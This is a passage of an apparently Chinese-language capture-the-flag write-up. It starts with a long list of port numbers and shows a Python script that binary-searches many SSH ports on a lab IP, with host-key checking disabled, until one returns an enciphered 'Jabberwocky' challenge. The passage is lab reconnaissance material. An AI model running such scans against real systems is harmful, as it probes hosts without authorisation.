,11410,11416,11414,11408,11415,11417,11420,11419,11418,11421,11422,11423,11424,11425,11426,11427,11430,11428,11432,11429,11433,11431,11436,11435,11434,11437,11438,11441,11442,11440,11439,11445,11443,11452,11444,11448,11453,11449,11454,11446,11447,11450,11455,11451,11457,11456,11458,11459,11460,11461,11462,11464,11463,11465,11466,11470,11469,11467,11468,11471,11472,11473,11474,11475,11476,11477,11478,11479,11480,11481,11482,11483,11484,11486,11485,11487,11488,11489,11490,11493,11491,11494,11492,11496,11497,11495,11500,11501,11502,11498,11499,11503,11504,11505,11506,11507,11509,11510,11512,11508,11514,11511,11513,11515,11517,11516,11519,11518,11520,11521,11524,11523,11522,11527,11525,11526,11529,11528,11530,11531,11532,11535,11533,11534,11536,11538,11537,11539,11540,11541,11542,11543,11546,11545,11544,11550,11549,11548,11547,11552,11551,11553,11556,11554,11557,11555,11558,11559,11564,11562,11560,11563,11561,11565,11566,11567,11568,11569,11570,11572,11576,11575,11608,11609,11610,11611,11795,11612,11796,11800,11798,11803,11799,11802,11797,11801,11812,11804,11808,11811,11807,11809,11820,11815,11817,11810,11805,11824,11816,11806,11823,11821,11814,11819,11813,11827,11826,11818,11822,11825,11829,11828,11831,11833,11830,11832,10847,10846,10845,10848,11834,11839,11836,11835,11840,11838,11837,11841,11843,11842,11844,10877,10872,10873,10871,10876,10875,10869,10868,10867,10874,10870,11845,10859,11846,10854,10853,10851,10850,10849,11848,11849,10852,11852,11847,11850,11855,11851,11853,11854,11856,11860,11859,11858,11863,11857,11864,11861,11865,11862,11866,11867,11868,10917,10916,10900,10915,10910,10914,10908,10906,10909,10907,10899,10913,10911,10912,10898,10897,11870,11869,11871,11872,11873,11876,11875,11878,11877,11874,11879,11881,11880,11883,11882,11884,11886,11885,11888,11887,11890,11889,11891,11892,11893,11895,11894,11896,11897,11900,11898,11899,11901,11902,11904,11903,11905,11906,11908,11910,11909,11911,11907,11912,11913,11914,11916,11915,11917,11918,11919,11920,11921,11924,11922,11923,11927,11925,11926,11929,11928,11931,11932,11930,11933,11934,11935,11936,11937,11938,11939,11940,11941,11942,11945,11946,11943,11944,11947,11948,11949,11950,11951,11953,11952,11956,11954,11957,11958,11955,11961,11960,11959,11962,11963,11964,11965,11966,11968,11967,11971,11969,11970,11972,11974,11973,11975,11977,11976,11978,11979,11980,11982,11981,11983,11985,11984,11986,11987,11990,11989,11988,11992,11991,11995,11993,11996,11994,11997,11999,11998,12000,12001,12002,12003,12004,12007,12006,12005,12008,12009,12015,12016,12017,12013,12014,12011,12020,12012,12019,12010,12018,12021,12023,12024,12022,12025,12026,12027,12028,12030,12029,12034,12031,12032,12033,12035,12036,12038,12039,12042,12037,12041,12040,12043,12045,12047,12044,12048,12049,12050,12046,12051,12052,12053,12054,12055,12056,12058,12057,12059,12060,12064,12061,12063,12065,12066,12062,12067,12068,12069,12071,12070,11214,11211,12072,11207,11212,11213,11209,11210,11206,11208,11202,11203,11204,11205,12073,12074,12077,12075,12076,12078,12079,12083,12082,12081,12080,12084,12085,12087,12086,12090,12089,12088,12091,12092,12094,12093,12095,12096,12098,12097,12101,12099,12102,12100,12107,12104,12106,12103,12105,12108,12109,12110,11224,11222,11221,11223,11220,11238,11219,11218,11232,11237,11231,11233,12111,12113,12112,12118,12114,12117,12121,12120,12116,12119,12115,11265,11266,11282,11276,11270,11278,11267,11284,11285,11269,11283,12122,11279,11262,11268,11277,11280,11263,11250,11271,11281,11253,11254,11264,11251,11252,12123,12124,12125,12126,12127,12130,12131,12128,12132,12134,12129,11331,11328,11326,11330,11325,11306,11329,12133,11304,11327,11300,11301,12140,11305,12139,11303,11299,12135,11302,12137,12138,12136,12141,12142,12144,12143,12145,12147,12148,12149,12150,12151,12146,12153,12152,11345,12154,12155,12156,11344,12158,12157,12163,12165,12159,12161,12160,12166,12162,12164,12167,12168,12171,12169,12170,12172,12173,12176,12178,12177,12174,12175,12179,12180,12182,12181,12183,12185,12184,12187,12188,12186,12191,12192,12189,12193,12190,12194,12195,12196,12197,12198,12199,12200,12201,12203,12202,12204,12205,12206,12207,12208,12209,12210,12212,12211,12214,12217,12213,12215,12216,12218,12219,12220,12221,12222,12224,12225,12226,12223,12227,12228,12230,12229,12231,12234,12235,12232,12233,12238,12236,12237,12240,12239,12244,12242,12243,12241,12249,12246,12245,12248,12250,12251,12254,12247,12252,12255,12253,12259,12258,12256,12257,12261,12260,12262,12264,12263,12265,12268,12267,12269,12266,12270,12272,12271,12273,12274,12278,12277,12276,12281,12275,12279,12282,12280,12283,12284,12286,12285,12288,12287,12289,12290,12291,12292,12294,12296,12295,12293,12298,12297,12299,12302,12300,12303,12301,12304,12305,12306,12310,12311,12316,12309,12307,12313,12314,12308,12312,12317,12321,12318,12322,12326,12320,12325,12319,12324,12323,12327,12328,12329,12330,12332,12331,12315,12334,12335,12333,12336,12337,12339,12338,12340,12343,12341,12344,12342,12345,12346,12348,12347,12352,12350,12349,12351,12353,12354,12361,12358,12356,12355,12366,12359,12364,12367,12365,12360,12362,12363,12357,12368,12369,12370,11587,11595,11596,11593,11579,11582,11584,11588,11598,11590,11585,11592,11583,11594,11591,11586,11597,11580,11589,11574,11573,11578,11577,11571,11581,12372,12371,12373,12376,12380,12382,12379,12378,12374,12377,12375,12381,12384,12383,12392,12387,12391,12385,12390,12389,12386,12388,12393,12394,12398,12396,12397,12399,12401,12400,12395,12404,12402,12403,12405,12406,12409,12407,12411,12408,12413,12410,12414,12415,12416,11644,12412,11648,11646,11647,11645,11649,11643,11636,11639,11642,11635,11640,11632,12417,11626,11634,11623,11630,11625,11615,11628,11622,11641,11638,11627,11631,11613,11619,11624,11620,11629,11637,11633,11616,11614,11607,11617,11621,11618,11603,11602,11601,11606,11605,11600,11604,11599,12418,12420,12419,12421,12422,12424,12423,12425,12447,12439,12441,12436,12437,12445,12451,12450,12442,12446,12449,12440,12426,12452,12438,12448,12455,12443,12444,12453,12454,12456,12458,12459,12457,12463,12462,12474,12475,12473,12476,11793,11792,11794,11788,11785,11786,11791,11782,11784,11776,11790,11780,11789,11783,11787,11778,11772,11770,11781,11777,11779,11768,11774,11769,11767,11771,11775,11761,11773,11765,11764,11762,11755,11758,11751,11754,11759,11745,11753,11747,11766,11757,11760,11763,11756,11744,11735,11746,11750,11738,11743,11740,11741,11748,11749,11752,11732,11737,11742,11730,11727,11731,11736,11734,11729,11739,11733,11728,12485,12483,12478,12477,12484,12486,12487,12491,12493,12492,12495,12494,12496,12497,12498,12500,12502,12501,12499,12503,12504,12505,12506,12508,12507,12509,12512,12510,12514,12511,12513,12515,12516,12517,12518,12524,12520,12523,12522,12519,12521,12526,12525,12527,12529,12528,12530,12531,12532,12534,12536,12533,12535,12543,12538,12537,12539,12544,12540,12541,12542,12547,12546,12554,12545,12548,12549,12553,12555,12551,12556,12552,12550,12557,12559,12558,12560,12562,12561,12563,12564,12566,12567,12568,12565,12569,12570,12573,12572,12571,12574,12579,12576,12577,12575,12580,12578,12584,12581,12583,12586,12587,12582,12585,12588,12590,12589,12592,12595,12593,12591,12594,12596,12599,12600,12597,12601,12598,12604,12602,12605,12606,12603,12607,12608,12610,12609,12611,12612,12615,12613,12614,12628,12631,12632,12626,12627,12629,12630,12633,12634,12635,12636,12646,12647,12648,12649,12650,12653,12651,12656,12655,12654,12652,12658,12662,12660,12659,12657,12661,12665,12663,12664,12666,12669,12667,12668,12670,12671,12672,12673,12674,12675,12676,12679,12677,12685,12678,12686,12688,12687,12697,12698,12699,12701,12700,12713,12703,12712,12714,12711,12702,12720,12716,12717,12721,12718,12719,12715,12722,12725,12723,12724,12726,12728,12730,12727,12735,12731,12729,12734,12737,12732,12733,12736,12739,12745,12738,12740,12748,12746,12761,12749,12762,12750,12747,12770,12765,12772,12768,12766,12767,12769,12763,12778,12775,12780,12782,12777,12776,12771,12764,12781,12784,12783,12779,12787,12786,12788,12790,12789,12791,12794,12797,12798,12800,12799,12796,12802,12795,12793,12792,12803,12801,12804,12808,12806,12815,12816,12807,12805,12819,12817,12818,12820,12823,12824,12826,12822,12825,12821,12827,12828,12829,12832,12831,12830,12834,12835,12833,12836,12837,12838,12839,12841,12842,12840,12843,12846,12844,12850,12848,12849,12845,12851,12847,12854,12852,12855,12853,12856,12858,12857,12860,12861,12859,12862,12863,12864,12865,12867,12868,12866,12869,12872,12875,12873,12870,12874,12876,12878,12871,12879,12882,12880,12883,12881,12877,12887,12885,12886,12884,12889,12890,12896,12893,12892,12891,12888,12895,12894,12897,12898,12900,12901,12899,12904,12903,12902,12907,12905,12906,12908,12910,12909,12911,12913,12912,12915,12916,12914,12917,12918,12919,12921,12922,12920,12924,12925,12923,12926,12927,12928,12929,12932,12930,12933,12931,12934,12942,12936,12935,12939,12937,12943,12944,12940,12941,12945,12938,12946,12947,12949,12951,12950,12948,12952,12953,12954,12958,12956,12962,12955,12959,12960,12961,12957,12970,12972,12966,12965,12969,12968,12967,12964,12973,12974,12976,12978,12971,12985,12977,12979,12963,12981,12987,12986,12984,12982,12993,12990,12988,12975,12992,12980,12989,12983,12991,12999,12995,12996,13000,13002,13001,12994,12997,12998,13003,13004,13007,13015,13012,13011,13008,13017,13016,13005,13014,13009,13010,13018,13006,13013,13031,13033,13030,13149,13029,13035,13034,13032,13037,13036,13152,13150,13151,13235,13153,13236,13237,13240,13241,13238,13242,13245,13239,13247,13243,13244,13246,13248,13249,13255,13258,13257,13260,13259,13262,13256,13270,13264,13263,13269,13271,13272,13275,13276,13277,13278,13279,13280,13282,13284,13286,13283,13285,13281,13287,13288,13290,13294,13293,13289,13291,13292,13296,13297,13295,13299,13305,13302,13300,13298,13301,13306,13303,13304,12435,12430,12428,12433,12432,12431,12434,12427,12429,13308,13307,13309,13311,13312,13310,13314,13317,13315,13316,13313,13318,13319,13323,13321,13320,13324,13325,13326,13322,13327,13328,13329,13330,13331,13333,13332,13334,12470,12472,12469,12466,12467,12471,12468,12464,12465,12461,12460,13336,13335,13339,13337,13338,13342,13341,13344,13343,13340,13345,13346,13347,13348,13349,13350,12490,12489,12488,12482,12481,12479,12480,13351,13353,13352,13354,13356,13355,13357,13358,13359,13367,13364,13361,13360,13363,13362,13365,13366,13369,13373,13370,13371,13368,13379,13372,13378,13374,13376,13375,13381,13382,13380,13377,13383,13384,13385,13390,13386,13388,13387,13389,13391,13392,13399,13393,13395,13400,13397,13404,13396,13398,13402,13403,13415,13408,13407,13412,13401,13394,13405,13406,13416,13409,13417,13414,13410,13411,13419,13418,13413,13420,13424,13421,13425,13423,13422,13426,13427,13428,13430,13429,13431,13432,13434,13433,13437,13436,13440,13439,13435,13438,13444,13443,13449,13448,13447,13442,13446,13454,13441,13451,13450,13457,13456,13445,13455,13465,13452,13453,13458,13462,13459,13461,13469,13467,13466,13470,13472,13460,13468,13464,13463,13471,13474,13476,13473,13479,13475,13477,13478,13481,13480,13482,12624,13496,12620,12616,12623,12622,13497,12625,12617,12621,12619,12618,13500,13499,13502,13501,13498,13503,13507,13505,13504,13509,13506,13511,13508,13512,13514,13510,13515,13513,12642,12645,12640,12637,12644,12643,12639,12638,12641,13517,13521,13519,13522,13516,13518,13520,13523,13524,13525,13526,13528,13530,13531,13527,13529,13532,13533,13534,13535,13536,13537,13539,13538,13541,13543,13540,13542,13544,13545,13546,13547,13548,13549,13550,13551,13552,13554,13553,12710,12707,12709,12708,13555,12705,13556,12706,12694,12704,12683,12693,12690,12680,12695,12684,12692,12681,12689,12696,12682,13557,12691,13561,13560,13562,13559,13558,13570,13568,13565,13571,13564,13567,13563,13566,13575,13574,13573,13569,13572,13576,13578,13577,13579,12741,12759,12751,12785,12752,13580,12743,12744,12756,12754,12774,12755,12760,12753,12757,12758,12773,12742,13581,13582,13583,13584,13585,13586,13587,13589,13588,12812,12814,12813,12811,12810,12809,13590,13593,13592,13591,13594,13598,13595,13596,13597,13599,13601,13600,13602,13603,13605,13606,13604,13608,13607,13609,13610,13611,13612,13614,13615,13613,13616,13617,13619,13618,13620,13621,13625,13622,13624,13623,13627,13626,13628,13629,13630,13634,13635,13632,13633,13636,13631,13637,13638,13641,13640,13642,13639,13646,13645,13647,13643,13644,13649,13648,13652,13650,13655,13654,13651,13653,13656,13657,13658,13660,13659,13661,13663,13662,13664,13665,13667,13666,13668,13671,13670,13672,13669,13675,13674,13677,13673,13676,13681,13686,13679,13685,13680,13682,13687,13678,13683,13684,13688,13691,13693,13695,13689,13694,13690,13692,13697,13696,13698,13699,13701,13700,13702,13703,13704,13708,13706,13707,13709,13710,13705,13713,13711,13712,13722,13716,13714,13717,13725,13723,13720,13715,13727,13721,13724,13718,13726,13729,13728,13731,13719,13730,13732,13733,13734,13745,13738,13735,13740,13743,13741,13746,13744,13737,13739,13742,13736,13747,13748,13750,13754,13048,13752,13753,13749,13756,13043,13755,13751,13044,13047,13027,13757,13021,13019,13045,13038,13046,13028,13042,13026,13020,13039,13025,13041,13024,13022,13040,13023,13758,13759,13762,13760,13761,13766,13765,13763,13764,13767,13768,13772,13061,13059,13062,13060,13773,13774,13779,13780,13791,13792,13794,13793,13795,13800,13796,13799,13797,13801,13798,13802,13074,13808,13840,13809,13807,13075,13806,13823,13824,13839,13841,13842,13104,13106,13103,13105,13101,13102,13100,13099,13088,13098,13089,13090,13087,13844,13854,13853,13856,13851,13096,13094,13097,13095,13852,13850,13855,13857,13858,13863,13849,13865,13864,13866,13867,13868,13872,13871,13869,13870,13873,13874,13127,13134,13129,13132,13131,13118,13117,13122,13115,13135,13116,13133,13128,13111,13124,13123,13107,13121,13126,13130,13109,13119,13113,13120,13112,13114,13108,13110,13125,13144,13148,13146,13138,13142,13143,13145,13147,13137,13139,13136,13140,13141,13163,13875,13164,13162,13174,13878,13165,13170,13158,13167,13169,13173,13172,13175,13154,13166,13155,13161,13160,13157,13171,13168,13156,13159,13880,13879,13882,13883,13881,13885,13884,13887,13886,13892,13888,13890,13889,13891,13227,13232,13893,13234,13894,13233,13220,13228,13221,13224,13230,13231,13213,13212,13229,13223,13222,13214,13199,13204,13218,13215,13216,13225,13207,13217,13226,13208,13219,13205,13210,13206,13209,13193,13201,13200,13202,13198,13195,13211,13203,13185,13194,13189,13187,13184,13188,13197,13191,13192,13186,13196,13183,13190,13895,13179,13178,13181,13898,13896,13177,13180,13176,13182,13897,13899,13900,13906,13902,13901,13905,13904,13253,13251,13254,13907,13903,13252,13250,13908,13909,13910,13912,13911,13913,13914,13261,13915,13267,13274,13265,13916,13268,13273,13266,13917,13918,13919,13920,13921,13924,13925,13926,13923,13922,13928,13930,13927,13931,13932,13933,13929,13934,13935,13936,13938,13939,13941,13937,13942,13943,13940,13944,13945,13946,13947,13948,13951,13949,13950,13952,13953,13954,13955,13956,13957,13958,13959,13962,13960,13961,13963,13966,13968,13964,13965,13967,13972,13969,13971,13973,13979,13970,13977,13975,13981,13974,13978,13982,13980,13983,13984,13987,13986,13988,13976,13985,13989,13990,13993,13991,13992,13994,13997,13998,13995,13996,13999,13487,13489,13490,13486,13484,13488,13491,13485,13483,13494,13495,13492,13493,13778,13775,13770,13769,13777,13787,13789,13771,13783,13788,13784,13776,13790,13781,13782,13786,13785,13834,13833,13837,13825,13838,13835,13822,13836,13832,13820,13817,13829,13827,13828,13814,13803,13830,13831,13821,13826,13815,13819,13805,13818,13811,13804,13816,13813,13810,13812,13862,13861,13848,13860,13859,13847,13845,13843,13846,13877,13876 10.10.150.136&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6164b-vOfDDJM.png"&gt;發現 nmap 結果都一樣&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5a88c-y3RVGXZ.png"&gt;- 9100 ~ 9107 好像不太一樣&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cf04c-KTylHNo.png"&gt;&lt;/li&gt;
&lt;li&gt;但實際連上去看起來還是一樣的直接用 ssh 連線- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/38190-LfyLhep.png"&gt;&lt;/li&gt;
&lt;li&gt;他跟我說了一個 Lower&lt;/li&gt;
&lt;li&gt;輸入比較大的數字又跟我說 Higher我們可以計算一下 port 的最小跟最大值- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3479f-SRdgBpL.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;13999 - 9000 = 4999&lt;/code&gt;如果透過二分搜尋法的話， Worst case 是- &lt;code&gt;log2(13999 - 9000) = 1504&lt;/code&gt;發現他的 High Low 是反的&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; subprocess
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;10.10.150.136&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ports &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;open&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;ports.txt&amp;#34;&lt;/span&gt;)&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;read()&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;split(&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ports &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; [&lt;span style="color:#8be9fd;font-style:italic"&gt;int&lt;/span&gt;(i) &lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; ports]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ports&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;sort()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# port = ports[-1]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;l &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; ports[&lt;span style="color:#bd93f9"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; ports[&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;while&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;True&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; port &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;int&lt;/span&gt;((l&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;r)&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;f&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;L=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;l&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt; , R=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;r&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; process &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; subprocess&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;Popen([&lt;span style="color:#f1fa8c"&gt;&amp;#39;ssh&amp;#39;&lt;/span&gt;, &lt;span style="color:#f1fa8c"&gt;&amp;#39;-o&amp;#39;&lt;/span&gt; , &lt;span style="color:#f1fa8c"&gt;&amp;#39;StrictHostKeyChecking=no&amp;#39;&lt;/span&gt; , &lt;span style="color:#8be9fd;font-style:italic"&gt;str&lt;/span&gt;(ip) , &lt;span style="color:#f1fa8c"&gt;&amp;#39;-p&amp;#39;&lt;/span&gt; , &lt;span style="color:#8be9fd;font-style:italic"&gt;str&lt;/span&gt;(port)], stdout&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;subprocess&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;PIPE, stderr&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;subprocess&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;PIPE)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; out, err &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; process&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;communicate()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(port , out)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; out &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;Lower&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#6272a4"&gt;# r = port&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; l &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; port
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;elif&lt;/span&gt; out &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;Higher&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#6272a4"&gt;# l = port&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; port
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;!!!!!&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;爆出結果是 9934&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a41a0-jMVEjqy.png"&gt;上面出現一堆的亂碼- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b654d-hLu4VRV.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;You&amp;#39;ve found the real service.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Solve the challenge to get access to the box
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jabberwocky
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#39;Mdes mgplmmz, cvs alv lsmtsn aowil
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Fqs ncix hrd rxtbmi bp bwl arul;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Elw bpmtc pgzt alv uvvordcet,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Egf bwl qffl vaewz ovxztiql.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#39;Fvphve ewl Jbfugzlvgb, ff woy!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Ioe kepu bwhx sbai, tst jlbal vppa grmjl!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Bplhrf xag Rjinlu imro, pud tlnp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Bwl jintmofh Iaohxtachxta!&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Oi tzdr hjw oqzehp jpvvd tc oaoh:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Eqvv amdx ale xpuxpqx hwt oi jhbkhe--
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Hv rfwmgl wl fp moi Tfbaun xkgm,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Puh jmvsd lloimi bp bwvyxaa.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Eno pz io yyhqho xyhbkhe wl sushf,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jani pjqumpzgn xhcdbgi xag bjskvr dsoo,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Pud cykdttk ej ba gaxt!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbkh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Ewl vpvict qseux dine huidoxt-achgb!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Al peqi pt eitf, ick azmo mtd wlae
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Lx ymca krebqpsxug cevm.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#39;Ick lrla xhzj zlbmg vpt Qesulvwzrr?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Cpqx vw bf eifz, qy mthmjwa dwn!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;V jitinofh kaz! Gtntdvl! Ttspaj!&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Wl ciskvttk me apw jzn.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;#39;Awbw utqasmx, tuh tst zljxaa bdcij
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Wph gjgl aoh zkuqsi zg ale hpie;
